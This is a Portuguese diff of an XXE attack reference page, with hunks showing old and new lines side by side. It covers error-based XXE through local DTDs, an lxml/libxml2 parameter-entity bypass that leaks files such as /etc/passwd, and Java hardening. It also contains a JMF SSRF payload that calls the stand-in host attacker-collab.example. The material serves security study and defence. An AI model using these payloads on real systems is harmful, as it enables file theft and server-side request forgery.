Uma brecha na especificação da linguagem XML pode **expor dados sensíveis através de mensagens de erro quando o DTD de um documento mistura declarações internas e externas**. Este problema permite a redefinição interna de entidades declaradas externamente, facilitando a execução de ataques XXE baseados em erro. Esses ataques exploram a redefinição de uma entidade de parâmetro XML, originalmente declarada em um DTD externo, a partir de um DTD interno. Quando conexões fora de banda são bloqueadas pelo servidor, os atacantes devem confiar em arquivos DTD locais para conduzir o ataque, visando induzir um erro de análise para revelar informações sensíveis.
Considere um cenário onde o sistema de arquivos do servidor contém um arquivo DTD em `/usr/local/app/schema.dtd`, definindo uma entidade chamada `custom_entity`. Um atacante pode induzir um erro de análise XML revelando o conteúdo do arquivo `/etc/passwd` ao submeter um DTD híbrido da seguinte forma:
```xml
@ -235,7 +235,7 @@ Agora, o arquivo criado pode ser enviado para a aplicação web potencialmente v
### Jar: protocol
O **jar** protocol é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
O **jar** protocolo é acessível exclusivamente dentro de **aplicações Java**. Ele é projetado para permitir o acesso a arquivos dentro de um **PKZIP** archive (por exemplo, `.zip`, `.jar`, etc.), atendendo tanto a arquivos locais quanto remotos.
```
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
@ -476,7 +476,7 @@ Exemplo de DTD:
Este exemplo é inspirado em [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)
XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML, principalmente usado para transferir dados localizáveis entre ferramentas durante a localização e como um formato comum de troca para ferramentas CAT (Computer-Aided Translation).
XLIFF (XML Localization Interchange File Format) é utilizado para padronizar a troca de dados em processos de localização. É um formato baseado em XML, principalmente usado para transferir dados localizáveis entre ferramentas durante a localização e como um formato comum de troca para ferramentas de CAT (Computer-Aided Translation).
### Análise de Requisição Cega
@ -684,15 +684,15 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml Parameter-Entity XXE (Divulgação de Arquivo Baseada em Erro)
> [!INFO]
> A biblioteca Python **lxml** usa **libxml2** por trás. Versões anteriores a **lxml 5.4.0 / libxml2 2.13.8** ainda expandem entidades *parameter* mesmo quando `resolve_entities=False`, tornando-as acessíveis quando a aplicação habilita `load_dtd=True` e/ou `resolve_entities=True`. Isso permite payloads de XXE Baseados em Erro que incorporam o conteúdo de arquivos locais na mensagem de erro do parser.
> A biblioteca Python **lxml** usa **libxml2** por trás. Versões anteriores a **lxml 5.4.0 / libxml2 2.13.8** ainda expandem entidades *parameter* mesmo quando `resolve_entities=False`, tornando-as acessíveis quando a aplicação habilita `load_dtd=True` e/ou `resolve_entities=True`. Isso permite payloads XXE Baseados em Erro que incorporam o conteúdo de arquivos locais na mensagem de erro do parser.
#### 1. Explorando lxml < 5.4.0
1. Identifique ou crie um DTD *local* no disco que defina uma entidade de parâmetro **indefinida** (por exemplo, `%config_hex;`).
2. Crie um DTD interno que:
* Carregue o DTD local com `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
* Redefina a entidade indefinida para que ela:
* Redefina a entidade indefinida para que:
- Leia o arquivo alvo (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
- Construa outra entidade de parâmetro que se refere a um **caminho inválido** contendo o valor `%flag;` e acione um erro de parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
- Construa outra entidade de parâmetro que se refira a um **caminho inválido** contendo o valor `%flag;` e acione um erro de parser (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
3. Finalmente, expanda `%local_dtd;` e `%eval;` para que o parser encontre `%error;`, falhe ao abrir `/aaa/<FLAG>` e vaze a flag dentro da exceção lançada que muitas vezes é retornada ao usuário pela aplicação.
```xml
<!DOCTYPE colors [
@ -712,7 +712,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
> Se o parser reclamar sobre caracteres `%`/`&` dentro do subconjunto interno, codifique-os duplamente (`&#x26;#x25;``%`) para atrasar a expansão.
#### 2. Contornando a proteção do lxml 5.4.0 (libxml2 ainda vulnerável)
`lxml` ≥ 5.4.0 proíbe entidades de parâmetro *error* como a acima, mas **libxml2** ainda permite que elas sejam incorporadas em uma entidade *geral*. O truque é:
`lxml` ≥ 5.4.0 proíbe entidades de parâmetro *error* como a acima, mas **libxml2** ainda permite que sejam incorporadas em uma entidade *geral*. O truque é:
1. Ler o arquivo em uma entidade de parâmetro `%file`.
2. Declarar outra entidade de parâmetro que constrói uma entidade **geral** `c` cujo identificador SYSTEM usa um *protocolo inexistente* como `meow://%file;`.
3. Colocar `&c;` no corpo XML. Quando o parser tenta desreferenciar `meow://…`, ele falha e reflete a URI completa incluindo o conteúdo do arquivo na mensagem de erro.
@ -732,9 +732,9 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
* A técnica funciona **sem conectividade de saída**, tornando-a ideal para ambientes com filtragem de egressos estrita.
#### Orientações de mitigação
* Atualize para **lxml ≥ 5.4.0** e assegure que o **libxml2** subjacente seja **≥ 2.13.8**.
* Atualize para **lxml ≥ 5.4.0** e garanta que o **libxml2** subjacente seja **≥ 2.13.8**.
* Desative `load_dtd` e/ou `resolve_entities` a menos que absolutamente necessário.
* Evite retornar erros de parser brutos ao cliente.
* Evite retornar erros de parser brutos para o cliente.
### Exemplo de endurecimento do Java DocumentBuilderFactory
@ -763,9 +763,35 @@ dbf.setExpandEntityReferences(false);
DocumentBuilder builder = dbf.newDocumentBuilder();
```
Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` definidas como `false`. A combinação previne cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
Se a aplicação deve suportar DTDs internamente, mantenha `disallow-doctype-decl` desativado, mas **sempre** deixe as duas funcionalidades `external-*-entities` configuradas como `false`. A combinação previne cargas úteis clássicas de divulgação de arquivos (`file:///etc/passwd`), bem como vetores SSRF baseados em rede (`http://169.254.169.254/…`, protocolo `jar:`, etc.).
Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* usou o construtor vulnerável mostrado acima. Um atacante não autenticado poderia fornecer um corpo XML elaborado para o endpoint `CreateBucketConfiguration` e fazer com que o servidor incorporasse arquivos locais (por exemplo, `/etc/passwd`) na resposta HTTP.
Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* usou o construtor vulnerável mostrado acima. Um atacante não autenticado poderia fornecer um corpo XML manipulado para o endpoint `CreateBucketConfiguration` e fazer com que o servidor incorporasse arquivos locais (por exemplo, `/etc/passwd`) na resposta HTTP.
### XXE em JMF/Serviços de Orquestração de Impressão → SSRF
Algumas plataformas de fluxo de trabalho/orquestração de impressão expõem um ouvinte de Job Messaging Format (JMF) voltado para a rede que aceita XML sobre TCP. Se o analisador subjacente aceitar um `DOCTYPE` e resolver entidades externas, você pode aproveitar um XXE clássico para forçar o servidor a fazer solicitações externas (SSRF) ou acessar recursos locais.
Pontos-chave observados no mundo:
- Ouvinte de rede (por exemplo, cliente JMF) em uma porta dedicada (comumente 4004 no Xerox FreeFlow Core).
- Análise XML baseada em Java dentro de um jar (por exemplo, `jmfclient.jar`) sem `disallow-doctype-decl` ou resolução de entidades desativada.
- Chamadas fora de banda confirmam de forma confiável a exploração.
Prova mínima de SSRF estilo JMF (a estrutura varia por produto, mas o DOCTYPE é o que importa):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE JMF [
<!ENTITY probe SYSTEM "http://attacker-collab.example/oob">
]>
<JMF SenderID="hacktricks" Version="1.3" TimeStamp="2025-08-13T10:10:10Z">
<Query Type="KnownMessages">&probe;</Query>
</JMF>
```
Notas:
- Substitua a URL da entidade pelo seu colaborador. Se SSRF for possível, o servidor a resolverá enquanto analisa a mensagem.
- Endurecimentos a serem observados: `disallow-doctype-decl=true`, `external-general-entities=false`, `external-parameter-entities=false`.
- Mesmo quando a porta JMF não serve arquivos, SSRF pode ser encadeado para reconhecimento interno ou para acessar APIs de gerenciamento vinculadas ao localhost.
Referências para este vetor estão listadas no final da página.
## Referências
@ -782,5 +808,8 @@ Estudo de caso do mundo real: **CVE-2025-27136** no emulador Java S3 *LocalS3* u
- [Dojo CTF Challenge #42 Hex Color Palette XXE write-up](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
- [lxml bug #2107279 Parameter-entity XXE still possible](https://bugs.launchpad.net/lxml/+bug/2107279)
- [Horizon3.ai From Support Ticket to Zero Day (FreeFlow Core XXE/SSRF + Path Traversal)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
- [Xerox FreeFlow Core Security Guide (architecture/ports)](https://securitydocs.business.xerox.com/wp-content/uploads/2025/03/Security-Guide-Information-Assurance-Disclosure-Xerox-FreeFlow-Core-8.0.pdf)
- [Xerox Security Bulletin 025-013 FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
{{#include ../banners/hacktricks-training.md}}